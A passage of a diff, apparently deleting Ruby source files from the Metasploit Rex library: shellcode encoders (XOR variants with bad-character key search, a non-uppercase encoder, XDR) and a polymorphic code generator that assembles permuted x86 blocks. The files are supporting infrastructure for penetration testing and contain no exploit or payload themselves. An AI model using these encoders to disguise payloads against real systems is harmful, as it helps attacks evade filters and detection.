if (block >= 0x41 and block <= 0x40) or (badchars =~ block)
# gen offset, return magic
offset = 0x40 - block;
table += offset.chr
tablelen = tablelen + 1
block = 0x40
end
return [block.chr, table, tablelen]
end
def NonUpper.encode(buf)
table = ""
tablelen = 0
nonascii = ""
encoded = gen_decoder()
buf.each_byte {
|block|
newchar, table, tablelen = encode_byte(block.unpack('C')[0], table, tablelen)
nonascii += newchar
}
encoded.gsub!(/A/, tablelen)
encoded.gsub!(/B/, tablelen+5)
encoded += table
encoded += nonascii
end
end end end

View File

@ -1,108 +0,0 @@
# -*- coding: binary -*-
module Rex
module Encoder
###
#
# This class implements basic XDR encoding.
#
###
module XDR
MAX_ARG = 0xffffffff
# Also: unsigned int, bool, enum
def XDR.encode_int(int)
return [int].pack('N')
end
def XDR.decode_int!(data)
raise ArgumentError, 'XDR: No Integer data to decode' unless data
raise ArgumentError, "XDR: Too little data to decode (#{data.size})" if data.size < 4
return data.slice!(0..3).unpack('N')[0]
end
def XDR.encode_lchar(char)
char |= 0xffffff00 if char & 0x80 != 0
return encode_int(char)
end
def XDR.decode_lchar!(data)
return (decode_int!(data) & 0xff).chr
end
# Also: Variable length opaque
def XDR.encode_string(str, max=MAX_ARG)
raise ArgumentError, 'XDR: String too long' if str.length > max
len = str.length
str << "\x00" * ((4 - (len & 3)) & 3)
return encode_int(len) + str
end
def XDR.decode_string!(data)
real_len = decode_int!(data)
return "" if real_len == 0
align_len = (real_len + 3) & ~3
return data.slice!(0..align_len-1).slice(0..real_len-1)
end
def XDR.encode_varray(arr, max=MAX_ARG, &block)
raise ArgumentError, 'XDR: Too many array elements' if arr.length > max
return encode_int(arr.length) + arr.collect(&block).join(nil)
end
def XDR.decode_varray!(data)
buf = []
1.upto(decode_int!(data)) { buf.push(yield(data)) }
return buf
end
# encode(0, [0, 1], "foo", ["bar", 4]) does:
# encode_int(0) +
# encode_varray([0, 1]) { |i| XDR.encode_int(i) } +
# encode_string("foo") +
# encode_string("bar", 4)
def XDR.encode(*data)
data.collect do |var|
if var.kind_of?(String)
encode_string(var)
elsif var.kind_of?(Integer)
encode_int(var)
elsif var.kind_of?(Array) && var[0].kind_of?(String)
raise ArgumentError, 'XDR: Incorrect string array arguments' if var.length != 2
encode_string(var[0], var[1])
elsif var.kind_of?(Array) && var[0].kind_of?(Integer)
encode_varray(var) { |i| XDR.encode_int(i) }
# 0 means an empty array index in the case of Integer and an empty string in
# the case of String so we get the best of both worlds
elsif var.kind_of?(Array) && var[0].nil?
encode_int(0)
else
type = var.class
type = var[0].class if var.kind_of?(Array)
raise TypeError, "XDR: encode does not support #{type}"
end
end.join(nil)
end
# decode(buf, Integer, String, [Integer], [String]) does:
# [decode_int!(buf), decode_string!(buf),
# decode_varray!(buf) { |i| XDR.decode_int!(i) },
# decode_varray!(buf) { |s| XDR.decode_string(s) }]
def XDR.decode!(buf, *data)
return *data.collect do |var|
if data.length == 0
elsif var.kind_of?(Array) && var[0] == String
decode_varray!(buf) { |s| XDR.decode_string!(s) }
elsif var.kind_of?(Array) && var[0] == Integer
decode_varray!(buf) { |i| XDR.decode_int!(i) }
elsif var == String
decode_string!(buf)
elsif var == Integer
decode_int!(buf)
end
end
end
end
end
end

View File

@ -1,69 +0,0 @@
# -*- coding: binary -*-
module Rex
module Encoder
###
#
# This class performs basic XOR encoding.
#
###
class Xor
attr_accessor :raw, :encoded, :badchars, :opts, :key, :fkey # :nodoc:
#
# wrap that in a wanna be static class
#
def self.encode(*args)
self.new.encode(*args)
end
#
# Return the class associated with this encoder.
#
def encoder()
self.class::EncoderKlass
end
#
# This method encodes the supplied data, taking into account the badchar
# list, and returns the encoded buffer.
#
def encode(data, badchars = '', opts = { })
self.raw = data
self.badchars = badchars
self.opts = opts
# apply any transforms to the plaintext data
data = _unencoded_transform(data)
self.encoded, self.key, self.fkey = encoder().find_key_and_encode(data, badchars)
# apply any transforms to the encoded data
self.encoded = _encoded_transform(encoded)
return _prepend() + encoded + _append()
end
protected
def _unencoded_transform(data) # :nodoc:
data
end
def _encoded_transform(data) # :nodoc:
data
end
def _prepend() # :nodoc:
""
end
def _append() # :nodoc:
""
end
end
end end

View File

@ -1,13 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoder/xor'
require 'rex/encoding/xor/dword'
###
#
# This class wraps the Dword XOR encoder.
#
###
class Rex::Encoder::Xor::Dword < Rex::Encoder::Xor
EncoderKlass = Rex::Encoding::Xor::Dword
end

View File

@ -1,13 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoder/xor'
require 'rex/encoding/xor/dword_additive'
###
#
# This class wraps the Dword XOR Additive feedback encoder.
#
###
class Rex::Encoder::Xor::DwordAdditive < Rex::Encoder::Xor
EncoderKlass = Rex::Encoding::Xor::DwordAdditive
end

View File

@ -1,20 +0,0 @@
# -*- coding: binary -*-
#
# make sure the namespace is created
#
module Rex
module Encoding
module Xor
end end end
#
# include the Xor encodings
#
require 'rex/encoding/xor/generic'
require 'rex/encoding/xor/byte'
require 'rex/encoding/xor/word'
require 'rex/encoding/xor/dword'
require 'rex/encoding/xor/qword'

View File

@ -1,15 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoding/xor/generic'
module Rex
module Encoding
module Xor
class Byte < Generic
def Byte.keysize
1
end
end end end end # Byte/Xor/Encoding/Rex

View File

@ -1,21 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoding/xor/generic'
#
# Routine for xor encoding a buffer by a 2-byte (intel word) key. The perl
# version used to pad this buffer out to a 2-byte boundary, but I can't think
# of a good reason to do that anymore, so this doesn't.
#
module Rex
module Encoding
module Xor
class Dword < Generic
def Dword.keysize
4
end
end end end end # Dword/Xor/Encoding/Rex

View File

@ -1,92 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoding/xor/exceptions'
require 'rex/encoding/xor/generic'
#
# Routine for xor encoding a buffer by a 2-byte (intel word) key. The perl
# version used to pad this buffer out to a 2-byte boundary, but I can't think
# of a good reason to do that anymore, so this doesn't.
#
module Rex
module Encoding
module Xor
class DwordAdditive < Generic
def DwordAdditive.keysize
4
end
def DwordAdditive._packspec
'V'
end
def DwordAdditive.pack_key(key)
return [ key ].pack(_packspec)
end
def DwordAdditive.unpack_key(key)
return key.unpack(_packspec)[0]
end
# hook in the key mutation routine of encode for the additive feedback
def DwordAdditive._encode_mutate_key(buf, key, pos, len)
if (pos + 1) % len == 0
# add the last len bytes (in this case 4) with the key,
# dropping off any overflow
key = pack_key(
unpack_key(key) + unpack_key(buf[pos - (len - 1), len]) &
(1 << (len << 3)) - 1
)
end
return key
end
#
# I realize this algorithm is broken. We invalidate some keys
# in _find_bad_keys that could actually be perfectly fine. However,
# it seems to work ok for now, and this is all just a lame adhoc method.
# Maybe someday we can revisit this and make it a bit less ghetto...
#
def DwordAdditive._find_good_key(data, badkeys, badchars)
ksize = keysize
kstart = ""
ksize.times { kstart << rand(256) } # random key starting place
key = kstart.dup
#
# now for the ghettoness of an algorithm:
# try the random key we picked
# if the key failed, figure out which key byte corresponds
# increment that key byte
# if we wrapped a byte all the way around, fail :(
#
loop do
# ok, try to encode it, any bad chars present?
pos = _check(data, key, badchars)
# yay, no problems, we found a key!
break if !pos
strip = pos % ksize
# increment the offending key byte
key[strip] = key[strip] + 1 & 0xff
# We wrapped around!
if key[strip] == kstart[strip]
raise KeySearchError, "Key space exhausted on strip #{strip}!", caller
end
end
return key
end
end end end end # DwordAdditive/Xor/Encoding/Rex

View File

@ -1,17 +0,0 @@
# -*- coding: binary -*-
module Rex
module Encoding
module Xor
module Exception
end
class KeySearchError < ::Exception
include Exception
MSG = "Error finding a key."
end
end end end

View File

@ -1,146 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoding/xor/exceptions'
require 'rex/text'
module Rex
module Encoding
module Xor
class Generic
def Generic.keysize
# special case:
# 0 means we encode based on the length of the key
# we don't enforce any perticular key length
return 0
end
#
# Now for some internal check methods
#
# hook stylies!
# return index of offending byte or nil
def Generic._check(data, key, badchars)
return _check_key(key, badchars) || _check_encode(data, key, badchars)
end
def Generic._check_key(key, badchars)
return Rex::Text.badchar_index(key, badchars)
end
def Generic._check_encode(data, key, badchars)
return Rex::Text.badchar_index(encode(data, key), badchars)
end
def Generic.find_key(data, badchars)
return _find_good_key(data, _find_bad_keys(data, badchars), badchars)
end
# !!! xxx MAKE THESE PRIVATE
#
# Find a list of bytes that can't be valid xor keys, from the data and badchars.
# This returns a Array of hashes, length keysize
#
def Generic._find_bad_keys(data, badchars)
ksize = keysize
# array of hashes for the bad characters based
# on their position in the data
badkeys = [ ]
ksize.times { badkeys << { } }
badchars.each_byte { |badchar|
pos = 0
data.each_byte { |char|
badkeys[pos % ksize][char ^ badchar] = true
pos += 1
}
}
return badkeys
end
#
# (Hopefully) find a good key, from badkeys and badchars
#
def Generic._find_good_key(data, badkeys, badchars)
ksize = keysize
strip = 0
key = ""
while strip < keysize
kbyte = rand(256)
catch(:found_kbyte) do
256.times {
if !badkeys[strip][kbyte] && !badchars[kbyte.chr]
throw :found_kbyte
end
kbyte = (kbyte + 1) & 0xff
}
raise KeySearchError, "Exhausted byte space for strip #{strip}!", caller
end
key << kbyte
strip += 1
end
# ok, we should have a good key now, lets double check...
if _check(data, key, badchars)
raise KeySearchError, "Key found, but bad character check failed!", caller
end
return key
end
def Generic.encode(buf, key)
if !key.kind_of?(String)
raise ::ArgumentError, "Key must be a string!", caller
end
len = key.length
if len == 0
raise ::ArgumentError, "Zero key length!", caller
end
if keysize != 0 && keysize != len
raise ::ArgumentError, "Key length #{len}, expected #{keysize}", caller
end
encoded = ""
pos = 0
while pos < buf.length
encoded += (buf[pos,1].unpack("C*")[0] ^ key[pos % len, 1].unpack("C*")[0]).chr
key = _encode_mutate_key(buf, key, pos, len)
pos += 1
end
return [ encoded, key ]
end
# kind of ghetto, but very convenient for mutating keys
# by default, do no key mutations
def Generic._encode_mutate_key(buf, key, pos, len)
return key
end
# maybe a bit a smaller of method name?
def Generic.find_key_and_encode(data, badchars)
key = find_key(data, badchars)
enc, fkey = encode(data, key)
return [ enc, key, fkey ]
end
end end end end # Generic/Xor/Encoding/Rex

View File

@ -1,15 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoding/xor/generic'
module Rex
module Encoding
module Xor
class Qword < Generic
def Qword.keysize
8
end
end end end end

View File

@ -1,21 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoding/xor/generic'
#
# Routine for xor encoding a buffer by a 2-byte (intel word) key. The perl
# version used to pad this buffer out to a 2-byte boundary, but I can't think
# of a good reason to do that anymore, so this doesn't.
#
module Rex
module Encoding
module Xor
class Word < Generic
def Word.keysize
2
end
end end end end # Word/Xor/Encoding/Rex

View File

@ -1,134 +0,0 @@
# -*- coding: binary -*-
module Rex
module Poly
require 'rex/poly/register'
require 'rex/poly/block'
require 'rex/poly/machine'
###
#
# This class encapsulates the state of a single polymorphic block set
# generation. It tracks the current set of consumed registers, the linear
# list of blocks generated, the end-result buffer, and the phase of
# generation. The fields exposed by the State class are intended for use only
# by the polymorphic generation subsystem and should not be modified directly.
#
###
class State
#
# Initializes the polymorphic generation state.
#
def initialize
@block_list = nil
reset
end
#
# Resets the generation state to have a plain start by clearing all
# consumed registers, resetting the polymorphic buffer back to its
# beginning and destroying any block generation state.
#
def reset
# Reset the generation flag on any blocks in the block list
@block_list.each { |block|
block[0].generated = false
} if (@block_list)
@regnums = Hash.new
@buffer = ''
@block_list = []
@curr_offset = 0
@first_phase = true
@badchars = nil
end
#
# Returns true if the supplied register number is already consumed.
#
def consumed_regnum?(regnum)
@regnums[regnum]
end
#
# Consumes a register number, thus removing it from the pool that can be
# assigned. The consumed register number is returned to the caller.
#
def consume_regnum(regnum)
raise RuntimeError, "Register #{regnum} is already consumed." if (consumed_regnum?(regnum))
@regnums[regnum] = true
regnum
end
#
# Acquires a register number that has not already been consumed from the
# supplied register number set and consumes it, returning the selected
# register number to the caller. The register number is selected from the
# set at random.
#
def consume_regnum_from_set(regnum_set)
# Pick a random starting point within the supplied set.
idx = rand(regnum_set.length)
# Try each index in the set.
regnum_set.length.times { |x|
regnum = regnum_set[(idx + x) % regnum_set.length]
next if (consumed_regnum?(regnum))
return consume_regnum(regnum)
}
# If we get through the entire iteration without finding a register,
# then we are out of registers to assign.
raise RuntimeError, "No registers are available to consume from the set"
end
#
# Eliminates a register number from the consumed pool so that it can be
# used in the future. This happens after a block indicates that a register
# has been clobbered.
#
def defecate_regnum(regnum)
@regnums.delete(regnum)
end
#
# The buffer state for the current polymorphic generation. This stores the
# end-result of a call to generate on a LogicalBlock.
#
attr_accessor :buffer
#
# The linear list of blocks that is generated by calling the generate
# method on a LogicalBlock.
#
attr_accessor :block_list
#
# The current offset into the polymorphic buffer that is being generated.
# This is updated as blocks are appended to the block_list.
#
attr_accessor :curr_offset
#
# A boolean field that is used by the LogicalBlock class to track whether
# or not it is in the first phase (generating the block list), or in the
# second phase (generating the polymorphic buffer). This phases are used
# to indicate whether or not the offset_of and regnum_of methods will
# return actual results.
#
attr_accessor :first_phase
#
# Characters to avoid when selecting permutations, if any.
#
attr_accessor :badchars
end
end
end

View File

@ -1,480 +0,0 @@
# -*- coding: binary -*-
module Rex
module Poly
###
#
# This class encapsulates a LogicalBlock permutation. Block permutations can
# take the form of a static string or a procedure. This makes it possible to
# have simple blocks and more complicated ones that take into account other
# variables, such as dynamic registers. The to_s method will return the
# string version of the permutation, regardless of whether or not the
# underlying permutation is a string or a procedure.
#
###
class Permutation
#
# Initializes the permutation and its associated block.
#
def initialize(perm, block)
@perm = perm
@block = block
end
#
# Returns the length of the string returned by to_s.
#
def length
to_s.length
end
#
# Returns the string representation of the permutation. If the underlying
# permutation is a procedure, the procedure is called. Otherwise, the
# string representation of the permutation is returned.
#
def to_s
if (@perm.kind_of?(Proc))
@perm.call(@block).to_s
else
@perm.to_s
end
end
attr_reader :perm
end
###
#
# This class represents a logical block which is defined as a concise portion
# of code that may have one or more functionally equivalent implementations.
# A logical block should serve a very specific purpose, and any permutations
# beyond the first should result in exactly the same functionality without any
# adverse side effects to other blocks.
#
# Like blocks of code, LogicalBlock's can depend on one another in terms of
# ordering and precedence. By marking blocks as dependent on another, a
# hierarchy begins to form. This is a block dependency graph.
#
# To add permutations to a LogicalBlock, they can either be passed in as a
# list of arguments to the constructor following the blocks name or can be
# added on the fly by calling the add_perm method. To get a random
# permutation, the rand_perm method can be called.
#
# To mark one block as depending on another, the depends_on method can be
# called with zero or more LogicalBlock instances as parameters.
#
###
class LogicalBlock
#
# Initializes the logical block's name along with zero or more specific
# blocks.
#
def initialize(name, *perms)
@name = name
reset
add_perm(*perms)
end
#
# Resets the block back to its starting point.
#
def reset
@perms = []
@depends = []
@next_blocks = []
@clobbers = []
@offset = nil
@state = nil
@once = false
@references = 0
@used_references = 0
@generated = false
end
#
# Returns the block's name.
#
def name
@name
end
#
# Flags whether or not the block should only be generated once. This can
# be used to mark a blog as being depended upon by multiple blocks, but
# making it such that it is only generated once.
#
def once=(tf)
@once = tf
end
#
# Returns true if this block is a 'once' block. That is, this block is
# dependend upon by multiple blocks but should only be generated once.
#
def once
@once
end
#
# Increments the number of blocks that depend on this block.
#
# @see #deref
def ref
@references += 1
end
#
# Increments the number of blocks that have completed their dependency
# pass on this block. This number should never become higher than the
# `@references` attribute.
#
# @see #ref
def deref
@used_references += 1
end
#
# Returns true if there is only one block reference remaining.
#
def last_reference?
(@references - @used_references <= 0)
end
#
# Adds zero or more specific permutations that may be represented either as
# strings or as Proc's to be called at evaluation time.
#
def add_perm(*perms)
@perms.concat(perms)
end
#
# Returns a random permutation that is encapsulated in a Permutation class
# instance.
#
def rand_perm
perm = nil
if (@state.badchars)
perm = rand_perm_badchars
else
perm = Permutation.new(@perms[rand(@perms.length)], self)
end
if (perm.nil?)
raise RuntimeError, "Failed to locate a valid permutation."
end
perm
end
#
# Returns a random permutation that passes any necessary bad character
# checks.
#
def rand_perm_badchars
idx = rand(@perms.length)
off = 0
while (off < @perms.length)
p = @perms[(idx + off) % @perms.length]
if (p.kind_of?(Proc) or
@state.badchars.nil? or
Rex::Text.badchar_index(p, @state.badchars).nil?)
return Permutation.new(p, self)
end
off += 1
end
end
#
# Sets the blocks that this block instance depends on.
#
def depends_on(*depends)
@depends = depends.dup
# Increment dependent references
@depends.each { |b| b.ref }
end
#
# Defines the next blocks, but not in a dependency fashion but rather in a
# linking of separate block contexts.
#
def next_blocks(*blocks)
@next_blocks = blocks.dup
end
#
# Defines the list of zero or more LogicalRegister's that this block
# clobbers.
#
def clobbers(*registers)
@clobbers = registers
end
#
# Enumerates each register instance that is clobbered by this block.
#
def each_clobbers(&block)
@clobbers.each(&block)
end
#
# Generates the polymorphic buffer that results from this block and any of
# the blocks that it either directly or indirectly depends on. A list of
# register numbers to be saved can be passed in as an argument.
#
# This method is not thread safe. To call this method on a single block
# instance from within multiple threads, be sure to encapsulate the calls
# inside a locked context.
#
def generate(save_registers = nil, state = nil, badchars = nil)
# Create a localized state instance if one was not supplied.
state = Rex::Poly::State.new if (state == nil)
buf = nil
cnt = 0
# This is a lame way of doing this. We just try to generate at most 128
# times until we don't have badchars. The reason we have to do it this
# way is because of the fact that badchars can be introduced through
# block offsetting and register number selection which can't be readily
# predicted or detected during the generation phase. In the future we
# can make this better, but for now this will have to do.
begin
buf = do_generate(save_registers, state, badchars)
if (buf and
(badchars.nil? or Rex::Text.badchar_index(buf, badchars).nil?))
break
end
end while ((cnt += 1) < 128)
# If we passed 128 tries, then we can't succeed.
buf = nil if (cnt >= 128)
buf
end
#
# Returns the offset of a block. If the active state for this instance is
# operating in the first phase, then zero is always returned. Otherwise,
# the correct offset for the supplied block is returned.
#
def offset_of(lblock)
if (@state.first_phase)
0
else
if (lblock.kind_of?(SymbolicBlock::End))
@state.curr_offset
else
lblock.offset
end
end
end
#
# Returns the register number associated with the supplied LogicalRegister
# instance. If the active state for this instance is operating in the
# first phase, then zero is always returned. Otherwise, the correct
# register number is returned based on what is currently assigned to the
# supplied LogicalRegister instance, if anything.
#
def regnum_of(reg)
(@state.first_phase) ? 0 : reg.regnum
end
def size_of(lblock)
@state.block_list.map { |b, p|
if b == lblock
return p.length
end
}
0
end
#
# This attributes contains the currently assigned offset of the permutation
# associated with this block into the polymorphic buffer that is being
# generated.
#
attr_accessor :offset
#
# Whether or not this block has currently been generated for a given
# iteration.
#
attr_accessor :generated
protected
#
# Performs the actual polymorphic buffer generation. Called from generate
#
def do_generate(save_registers, state, badchars)
# Reset the state in case it was passed in.
state.reset
# Set the bad character list
state.badchars = badchars if (badchars)
# Consume any registers that should be saved.
save_registers.each { |reg|
state.consume_regnum(reg)
} if (save_registers)
# Build the linear list of blocks that will be processed. This
# list is built in a dynamic fashion based on block dependencies.
# The list that is returned is an Array of which each element is a two
# member array, the first element being the LogicalBlock instance that
# the permutation came from and the second being an instance of the
# Permutation class associated with the selected permutation.
block_list = generate_block_list(state)
# Transition into the second phase which enables offset_of and regnum_of
# calls to return real values.
state.first_phase = false
# Now that every block has been assigned an offset, generate the
# buffer block by block, assigning registers as necessary.
block_list.each { |b|
# Generate the next permutation and append it to the buffer.
begin
state.buffer += b[1].to_s
# If an invalid register exception is raised, try to consume a random
# register from the register's associated architecture register
# number set.
rescue InvalidRegisterError => e
e.reg.regnum = state.consume_regnum_from_set(e.reg.class.regnum_set)
retry
end
# Remove any of the registers that have been clobbered by this block
# from the list of consumed register numbers so that they can be used
# in the future.
b[0].each_clobbers { |reg|
begin
state.defecate_regnum(reg.regnum)
reg.regnum = nil
rescue InvalidRegisterError
end
}
}
# Finally, return the buffer that has been created.
state.buffer
end
#
# Generates the linear list of block permutations which is stored in the
# supplied state instance. This is done prior to assigning blocks offsets
#
def generate_block_list(state, level=0)
if @depends.length > 1
@depends.length.times {
f = rand(@depends.length)
@depends.push(@depends.delete_at(f))
}
end
@depends.length.times { |cidx|
pass = false
while (not pass)
if (@depends[cidx].generated)
break
# If this dependent block is a once block and the magic 8 ball turns
# up zero, skip it and let a later block pick it up. We only do this
# if we are not the last block to have a dependency on this block.
elsif ((@depends[cidx].once) and
(rand(2).to_i == 0) and
(@depends[cidx].last_reference? == false))
break
end
# Generate this block
@depends[cidx].generate_block_list(state, level+1)
if level != 0
return
else
@depends.length.times {
f = rand(@depends.length)
@depends.push(@depends.delete_at(f))
}
next
end
end
next
}
self.deref
# Assign the instance local state for the duration of this generation
@state = state
# Select a random permutation
perm = rand_perm
# Set our block offset to the current state offset
self.offset = state.curr_offset
# Flag ourselves as having been generated for this iteration.
self.generated = true
# Adjust the current offset based on the permutations length
state.curr_offset += perm.length
# Add it to the linear list of blocks
state.block_list << [ self, perm ]
# Generate all the blocks that follow this one.
@next_blocks.each { |b|
b.generate_block_list(state)
}
# Return the state's block list
state.block_list
end
end
###
#
# Symbolic blocks are used as special-case LogicalBlock's that have meaning
# a more general meaning. For instance, SymbolicBlock::End can be used to
# symbolize the end of a polymorphic buffer.
#
###
module SymbolicBlock
###
#
# The symbolic end of a polymorphic buffer.
#
###
class End < LogicalBlock
def initialize
super('__SYMBLK_END__')
end
end
end
end
end

View File

@ -1,13 +0,0 @@
# -*- coding: binary -*-
module Rex
module Poly
require 'metasm'
require 'rex/poly/machine/machine'
require 'rex/poly/machine/x86'
end
end

View File

@ -1,830 +0,0 @@
# -*- coding: binary -*-
module Rex
module Poly
#
# A machine capable of creating a small blob of code in a metamorphic kind of way.
# Note: this is designed to perform an exhaustive search for a solution and can be
# slow. If you need a speedier option, the origional Rex::Polly::Block stuff is a
# better choice.
#
class Machine
QWORD = 8
DWORD = 4
WORD = 2
BYTE = 1
#
# A Permutation!
#
class Permutation
attr_accessor :active, :offset
attr_reader :name, :primitive, :length, :args
#
# Create a new permutation object.
#
def initialize( name, primitive, machine, source, args=nil )
@name = name
@primitive = primitive
@machine = machine
@source = source
@args = args
@active = false
@valid = true
@length = 0
@offset = 0
@children = ::Array.new
end
#
# Add in a child permutation to this one. Used to build the permutation tree.
#
def add_child( child )
@children << child
end
#
# Does this permutation have children?
#
def has_children?
not @children.empty?
end
#
# Remove any existing children. Called by the machines generate function
# to build a fresh tree in case generate was previously called.
#
def remove_children
@children.clear
end
#
# Actully render this permutation into a raw buffer.
#
def render
raw = ''
# Zero the length as we will be rendering the raw buffer and the length may change.
@length = 0
# If this permutation source is a Primitive/Procedure we can call it, otherwise we have a string
if( @source.kind_of?( Primitive ) or @source.kind_of?( ::Proc ) )
if( @source.kind_of?( Primitive ) )
raw = @source.call( @name, @machine, *@args )
elsif( @source.kind_of?( ::Proc ) )
raw = @source.call
end
# If the primitive/procedure returned an array, it is an array of assembly strings which we can assemble.
if( raw.kind_of?( ::Array ) )
lines = raw
raw = ''
# itterate over each line of assembly
lines.each do | asm |
# parse the asm and substitute in any offset values specified...
offsets = asm.scan( /:([\S]+)_offset/ )
offsets.each do | name, |
asm = asm.gsub( ":#{name}_offset", @machine.block_offset( name ).to_s )
end
# and substitute in and register values for any variables specified...
regs = asm.scan( /:([\S]+)_reg([\d]+)/ )
regs.each do | name, size |
asm = asm.gsub( ":#{name}_reg#{size}", @machine.variable_value( name, size.to_i ) )
end
# assemble it into a raw blob
blob = @machine.assemble( asm )
#if( not @machine.is_valid?( blob ) )
# p "#{name}(#{primitive}):#{asm} is invalid"
#end
raw << blob
end
end
else
# the source must just be a static string
raw = @source
end
# Update the length to reflect the new raw buffer
@length = raw.to_s.length
# As the temp variable is only assigned for the duration of a single permutation we
# can now release it if it was used in this permutation.
@machine.release_temp_variable
return raw.to_s
end
#
# Test if this permutation raw buffer is valid in this machine (e.g. against the badchar list).
#
def is_valid?
result = false
if( @valid )
begin
result = @machine.is_valid?( self.render )
rescue UnallowedPermutation
# This permutation is unallowed and can never be rendered so just mark it as
# not valid to skip it during future attempts.
@valid = false
rescue UndefinedPermutation
# allow an undefined permutation to fail validation but keep it marked
# as valid as it may be defined and passed validation later.
ensure
# Should a temporary variable have been assigned we can release it here.
@machine.release_temp_variable
end
end
return result
end
#
# Try to find a solution within the solution space by performing a depth first search
# into the permutation tree and backtracking when needed.
#
def solve
# Check to see if this permutation can make part of a valid solution
if( self.is_valid? )
# record this permutation as part of the final solution (the current machines register state is also saved here)
@machine.solution_push( self )
# If we have no children we are at the end of the tree and have a potential full solution.
if( not self.has_children? )
# We have a solution but doing a final pass to update offsets may introduce bad chars
# so we test for this and keep searching if this isnt a real solution after all.
if( not @machine.solution_is_valid? )
# remove this permutation and keep searching
@machine.solution_pop
return false
end
# Return true to unwind the recursive call as we have got a final solution.
return true
end
# Itterate over the children of this permutation (the perutations of the proceeding block).
@children.each do | child |
# Traverse into this child to keep trying to generate a solution...
if( child.solve )
# Keep returning true to unwind as we are done.
return true
end
end
# If we get here this permutation, origionally thought to be good for a solution, is not after all,
# so remove it from the machines final solution, restoring the register state aswell.
@machine.solution_pop
end
# No children can be made form part of the solution, return failure for this path in the tree.
return false
end
end
#
# A symbolic permutation to mark locations like the begining and end of a group of blocks.
# Used to calculate usefull offsets.
#
class SymbolicPermutation < Permutation
def initialize( name, machine, initial_offset=0 )
super( name, '', machine, '' )
# fudge the initial symbolic offset with a default (it gets patched correctly later),
# helps with the end symbolic block to not be 0 (as its a forward reference it really
# slows things down if we leave it 0)
@offset = initial_offset
# A symbolic block is allways active!
@active = true
end
#
# We block all attempts to set the active state of this permutation so as
# it is always true. This lets us always address the offset.
#
def active=( value )
end
end
#
# A primitive is a machine defined permutation which accepts some arguments when it is called.
#
class Primitive
#
# Initialize this primitive with its target source procedure and the machine it belongs to.
#
def initialize( source )
@source = source
end
#
# Call the primitives source procedure, passing in the arguments.
#
def call( name, machine, *args )
return @source.call( name, machine, *args )
end
end
#
#
#
class Block
#attr_accessor :next, :previous
attr_reader :name
def initialize( name )
@name = name
@next = nil
@previous = nil
@permutations = ::Array.new
end
def shuffle
@permutations = @permutations.shuffle
end
def solve
@permutations.first.solve
end
def << ( permutation )
@permutations << permutation
end
def each
@permutations.each do | permutation |
yield permutation
end
end
end
#
# A class to hold a solution for a Rex::Poly::Machine problem.
#
class Solution
attr_reader :offset
def initialize
@permutations = ::Array.new
@reg_state = ::Array.new
@offset = 0
end
#
# Reset this solution to an empty state.
#
def reset
@offset = 0
@permutations.each do | permutation |
permutation.active = false
permutation.offset = 0
end
@permutations.clear
@reg_state.clear
end
#
# Push a new permutation onto this solutions permutations list and save the associated register/variables state
#
def push( permutation, reg_available, reg_consumed, variables )
permutation.active = true
permutation.offset = @offset
@offset += permutation.length
@permutations.push( permutation )
@reg_state.push( [ [].concat(reg_available), [].concat(reg_consumed), {}.merge(variables) ] )
end
#
# Pop off the last permutaion and register/variables state from this solution.
#
def pop
reg_available, reg_consumed, variables = @reg_state.pop
permutation = @permutations.pop
permutation.active = false
permutation.offset = 0
@offset -= permutation.length
return permutation, reg_available, reg_consumed, variables
end
#
# Render the final buffer.
#
def buffer
previous_offset = nil
count = 0
# perform an N-pass fixup for offsets...
while( true ) do
# If we cant get the offsets fixed within a fixed ammount of tries we return
# nil to indicate failure and keep searching for a solution that will work.
if( count > 64 )
return nil
end
# Reset the solution offset so as to update it for this pass
@offset = 0
# perform a single pass to ensure we are using the correct offset values
@permutations.each do | permutation |
permutation.offset = @offset
# Note: calling render() can throw both UndefinedPermutation and UnallowedPermutation exceptions,
# however as we assume we only ever return the buffer once a final solution has been generated
# we should never have either of those exceptions thrown.
permutation.render
@offset += permutation.length
end
# If we have generated two consecutive passes which are the same length we can stop fixing up the offsets.
if( not previous_offset.nil? and @offset == previous_offset )
break
end
count +=1
previous_offset = @offset
end
# now a final pass to render the solution into the raw buffer
raw = ''
@permutations.each do | permutation |
#$stderr.puts "#{permutation.name} - #{ "0x%08X (%d)" % [ permutation.offset, permutation.length] } "
raw << permutation.render
end
return raw
end
end
#
# Create a new machine instance.
#
def initialize( badchars, cpu )
@badchars = badchars
@cpu = cpu
@reg_available = ::Array.new
@reg_consumed = ::Array.new
@variables = ::Hash.new
@blocks = ::Hash.new
@primitives = ::Hash.new
@solution = Solution.new
_create_primitives
@blocks['begin'] = Block.new( 'begin' )
@blocks['begin'] << SymbolicPermutation.new( 'begin', self )
_create_variable( 'temp' )
end
#
# Overloaded by a subclass to return the maximum native general register size supported.
#
def native_size
nil
end
#
# Use METASM to assemble a line of asm using this machines current cpu.
#
def assemble( asm )
return Metasm::Shellcode.assemble( @cpu, asm ).encode_string
end
#
# Check if a data blob is valid against the badchar list (or perform any other validation here)
#
def is_valid?( data )
if( data.nil? )
return false
end
return Rex::Text.badchar_index( data, @badchars ).nil?
end
#
# Generate a 64 bit number whoes bytes are valid in this machine.
#
def make_safe_qword( number=nil )
return _make_safe_number( QWORD, number ) & 0xFFFFFFFFFFFFFFFF
end
#
# Generate a 32 bit number whoes bytes are valid in this machine.
#
def make_safe_dword( number=nil )
return _make_safe_number( DWORD, number ) & 0xFFFFFFFF
end
#
# Generate a 16 bit number whoes bytes are valid in this machine.
#
def make_safe_word( number=nil )
return _make_safe_number( WORD, number ) & 0xFFFF
end
#
# Generate a 8 bit number whoes bytes are valid in this machine.
#
def make_safe_byte( number=nil )
return _make_safe_number( BYTE, number ) & 0xFF
end
#
# Create a variable by name which will be assigned a register during generation. We can
# optionally assign a static register value to a variable if needed.
#
def create_variable( name, reg=nil )
# Sanity check we aren't trying to create one of the reserved variables.
if( name == 'temp' )
raise RuntimeError, "Unable to create variable, '#{name}' is a reserved variable name."
end
return _create_variable( name, reg )
end
#
# If the temp variable was assigned we release it.
#
def release_temp_variable
if( @variables['temp'] )
regnum = @variables['temp']
# Sanity check the temp variable was actually assigned (it may not have been if the last permutation didnot use it)
if( regnum )
# place the assigned register back in the available list for consumption later.
